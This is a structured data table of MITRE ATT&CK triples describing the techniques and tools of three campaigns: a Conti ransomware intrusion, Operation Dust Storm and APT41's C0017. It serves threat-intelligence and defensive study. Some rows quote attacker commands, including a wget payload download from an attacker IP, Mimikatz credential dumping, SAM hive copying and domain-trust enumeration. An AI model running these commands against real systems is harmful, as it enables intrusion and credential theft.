subject stringlengths 5 9 | predicate stringclasses 21
values | object stringlengths 2 4.68k | source stringclasses 1
value | object_type stringclasses 6
values | meta stringlengths 0 10.5k |
|---|---|---|---|---|---|
C0015 | uses | S0575 | attack | id | {"description":"(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1105 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors downloaded additional tools and files onto a compromised network.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1055.001 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.(Citation: DFIR Conti Bazar Nov 2021) "} |
C0015 | uses | T1059.005 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1486 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used [Conti](https://attack.mitre.org/software/S0575) ransomware to encrypt a compromised network.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | S1040 | attack | id | {"description":"(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1027 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used Base64-encoded strings.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1059.003 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used `cmd.exe` to execute commands and run malicious binaries.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1218.010 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors employed code that used `regsvr32` for execution.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1588.001 | attack | id | {"description":"For [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used [Cobalt Strike](https://attack.mitre.org/software/S0154) and [Conti](https://attack.mitre.org/software/S0575) ransomware.(Citation: DFIR Conti Bazar Nov 2021) "} |
C0015 | uses | T1021.001 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used RDP to access specific network hosts of interest.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1124 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the command `net view /all time` to gather the local time of a compromised network.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1030 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors limited [Rclone](https://attack.mitre.org/software/S1040)'s bandwidth setting during exfiltration.(Citation: DFIR Conti Bazar Nov 2021) "} |
C0015 | uses | T1219.002 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors installed the AnyDesk remote desktop application onto the compromised network.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1039 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors collected files from network shared drives prior to network encryption.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | S0534 | attack | id | {"description":"(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1570 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used WMI to load [Cobalt Strike](https://attack.mitre.org/software/S0154) onto additional hosts within a compromised network.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1018 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1016 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.(Citation: DFIR Conti Bazar Nov 2021) "} |
C0015 | uses | T1588.002 | attack | id | {"description":"For [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors obtained a variety of tools, including [AdFind](https://attack.mitre.org/software/S0552), AnyDesk, and Process Hacker.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1059.007 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1036 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1482 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0015 | uses | T1218.005 | attack | id | {"description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used `mshta` to execute DLLs.(Citation: DFIR Conti Bazar Nov 2021)"} |
C0016 | created | 2022-09-29 20:00:38.136000+00:00 | attack | date | |
C0016 | description | [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016... | attack | string | |
C0016 | domain | enterprise-attack | attack | string | |
C0016 | domain | mobile-attack | attack | string | |
C0016 | modified | 2024-04-11 00:30:42.003000+00:00 | attack | date | |
C0016 | name | Operation Dust Storm | attack | string | |
C0016 | rdf:type | Campaign | attack | enum | {"version":"1.1","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 20... |
C0016 | url | https://attack.mitre.org/campaigns/C0016 | attack | url | |
C0016 | uses | S0083 | attack | id | {"description":"(Citation: Cylance Dust Storm)"} |
C0016 | uses | S0032 | attack | id | {"description":"(Citation: Cylance Dust Storm)"} |
C0016 | uses | S0012 | attack | id | {"description":"(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1204.002 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors relied on potential victims to open a malicious Microsoft Word document sent via email.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1204.001 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors relied on a victim clicking on a malicious link sent via email.(Citation: Cylance Dust Storm)"} |
C0016 | uses | S0084 | attack | id | {"description":"(Citation: Cylance Dust Storm)"} |
C0016 | uses | S0086 | attack | id | {"description":"(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1583.001 | attack | id | {"description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors established domains as part of their operational infrastructure.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1027.002 | attack | id | {"description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used UPX to pack some payloads.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1566.001 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors sent spearphishing emails that contained a malicious Microsoft Word document.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1189 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used a watering hole attack on a popular software reseller to exploit the then-zero-day Internet Explorer vulnerability CVE-2014-0322.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1027.013 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors encoded some payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key; other payloads were Base64-encoded.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1036 | attack | id | {"description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors disguised some executables as JPG files.(Citation: Cylance Dust Storm) "} |
C0016 | uses | S0085 | attack | id | {"description":"(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1218.005 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors executed JavaScript code via `mshta.exe`.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1568 | attack | id | {"description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used dynamic DNS domains from a variety of free providers, including No-IP, Oray, and 3322.(Citation: Cylance Dust Storm) "} |
C0016 | uses | T1059.005 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used Visual Basic scripts.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1518 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors deployed a file called `DeployJava.js` to fingerprint installed software on a victim system prior to exploit delivery.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1203 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors exploited Adobe Flash vulnerability CVE-2011-0611, Microsoft Windows Help vulnerability CVE-2010-1885, and several Internet Explorer vulnerabilities, including CVE-2011-1255, CVE-2012-1889, and CVE-2014-0322.(Cita... |
C0016 | uses | T1059.007 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used JavaScript code.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1585.002 | attack | id | {"description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors established email addresses to register domains for their operations.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1140 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), attackers used VBS code to decode payloads.(Citation: Cylance Dust Storm)"} |
C0016 | uses | T1566.002 | attack | id | {"description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors sent spearphishing emails containing a malicious link.(Citation: Cylance Dust Storm)"} |
C0017 | attributed-to | G0096 | attack | id | {"description":"(Citation: Mandiant APT41)"} |
C0017 | created | 2022-12-01 15:40:34.011000+00:00 | attack | date | |
C0017 | description | [C0017](https://attack.mitre.org/campaigns/C0017) was an [APT41](https://attack.mitre.org/groups/G0096) campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During [C0017](... | attack | string | |
C0017 | domain | enterprise-attack | attack | string | |
C0017 | domain | mobile-attack | attack | string | |
C0017 | modified | 2025-04-16 20:37:47.537000+00:00 | attack | date | |
C0017 | name | C0017 | attack | string | |
C0017 | rdf:type | Campaign | attack | enum | {"version":"1.0","external_references":[{"url":"https://www.mandiant.com/resources/apt41-us-state-governments","source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments... |
C0017 | url | https://attack.mitre.org/campaigns/C0017 | attack | url | |
C0017 | uses | T1680 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) issued `ping -n 1 ((cmd /c dir c:\\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.(Citation: Mandiant APT41)\n"} |
C0017 | uses | T1027.002 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used VMProtect to slow the reverse engineering of malicious binaries.(Citation: Mandiant APT41)"} |
C0017 | uses | T1033 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `whoami` to gather information from victim machines.(Citation: Mandiant APT41)"} |
C0017 | uses | T1036.004 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.(Citation: Mandiant APT41)"} |
C0017 | uses | T1016 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `cmd.exe /c ping %userdomain%` for discovery.(Citation: Mandiant APT41)"} |
C0017 | uses | T1053.005 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\\Microsoft\\Windows\\PLA\\Server Manager Performance Monitor`, `\\Microsoft\\Windows\\Ras... |
C0017 | uses | T1190 | attack | id | {"description":"\nDuring [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial acces... |
C0017 | uses | T1505.003 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) deployed JScript web shells through the creation of malicious ViewState objects.(Citation: Mandiant APT41)"} |
C0017 | uses | T1140 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the DUSTPAN loader to decrypt embedded payloads.(Citation: Mandiant APT41)"} |
C0017 | uses | T1003.002 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.(Citation: Mandiant APT41)"} |
C0017 | uses | S0154 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the DUSTPAN in-memory dropper to drop a [Cobalt Strike](https://attack.mitre.org/software/S0154) BEACON backdoor onto a compromised network.(Citation: Mandiant APT41)"} |
C0017 | uses | S1051 | attack | id | {"description":"(Citation: Mandiant APT41)"} |
C0017 | uses | T1027 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) broke malicious binaries, including [DEADEYE](https://attack.mitre.org/software/S1052) and [KEYPLUG](https://attack.mitre.org/software/S1051), into multiple sections on disk to evade detection.(Citat... |
C0017 | uses | S1052 | attack | id | {"description":"(Citation: Mandiant APT41)"} |
C0017 | uses | T1041 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used its Cloudflare services C2 channels for data exfiltration.(Citation: Mandiant APT41)"} |
C0017 | uses | T1048.003 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.(Citation: Mandiant APT41)"} |
C0017 | uses | T1074.001 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.(Citation: Mandiant APT41)"} |
C0017 | uses | S0105 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used multiple [dsquery](https://attack.mitre.org/software/S0105) commands to enumerate various Active Directory objects within a compromised environment.(Citation: Mandiant APT41)"} |
C0017 | uses | T1071.001 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.(Citation: Mandiant APT41)\n"} |
C0017 | uses | T1005 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.(Citation: Mandiant APT41) "} |
C0017 | uses | T1102.001 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used dead drop resolvers on two separate tech community forums for their [KEYPLUG](https://attack.mitre.org/software/S1051) Windows-version backdoor; notably [APT41](https://attack.mitre.org/groups/G... |
C0017 | uses | T1059.007 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) deployed JScript web shells on compromised systems.(Citation: Mandiant APT41)\n"} |
C0017 | uses | S0002 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used [Mimikatz](https://attack.mitre.org/software/S0002) to execute the `lsadump::sam` command on dumped registry hives to obtain locally stored credentials and NTLM hashes.(Citation: Mandiant APT41)... |
C0017 | uses | T1574 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.(Citation: Mandiant APT41) "} |
C0017 | uses | T1090 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the Cloudflare CDN to proxy C2 traffic.(Citation: Mandiant APT41)"} |
C0017 | uses | T1036.005 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used file names beginning with USERS, SYSUSER, and SYSLOG for [DEADEYE](https://attack.mitre.org/software/S1052), and changed [KEYPLUG](https://attack.mitre.org/software/S1051) file extensions from .... |
C0017 | uses | T1059.003 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `cmd.exe` to execute reconnaissance commands.(Citation: Mandiant APT41)"} |
C0017 | uses | T1001.003 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.(Citation: Mandiant APT41)"} |
C0017 | uses | T1134 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\\SYSTEM` privilege escalation.(Citation: Mandiant APT41)"} |
C0017 | uses | S0097 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) issued [Ping](https://attack.mitre.org/software/S0097) commands to trigger DNS resolutions for data exfiltration, where the output of a reconnaissance command was prepended to subdomains within [APT4... |
C0017 | uses | T1567 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used Cloudflare services for data exfiltration.(Citation: Mandiant APT41)"} |
C0017 | uses | T1560.003 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) hex-encoded PII data prior to exfiltration.(Citation: Mandiant APT41)"} |
C0017 | uses | T1588.002 | attack | id | {"description":"For [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.(Citation: Mandiant APT41)"} |
C0017 | uses | T1105 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) downloaded malicious payloads onto compromised systems.(Citation: Mandiant APT41)"} |
C0017 | uses | T1102 | attack | id | {"description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the Cloudflare services for C2 communications.(Citation: Mandiant APT41)"} |
C0018 | created | 2023-01-17 21:42:34.998000+00:00 | attack | date |
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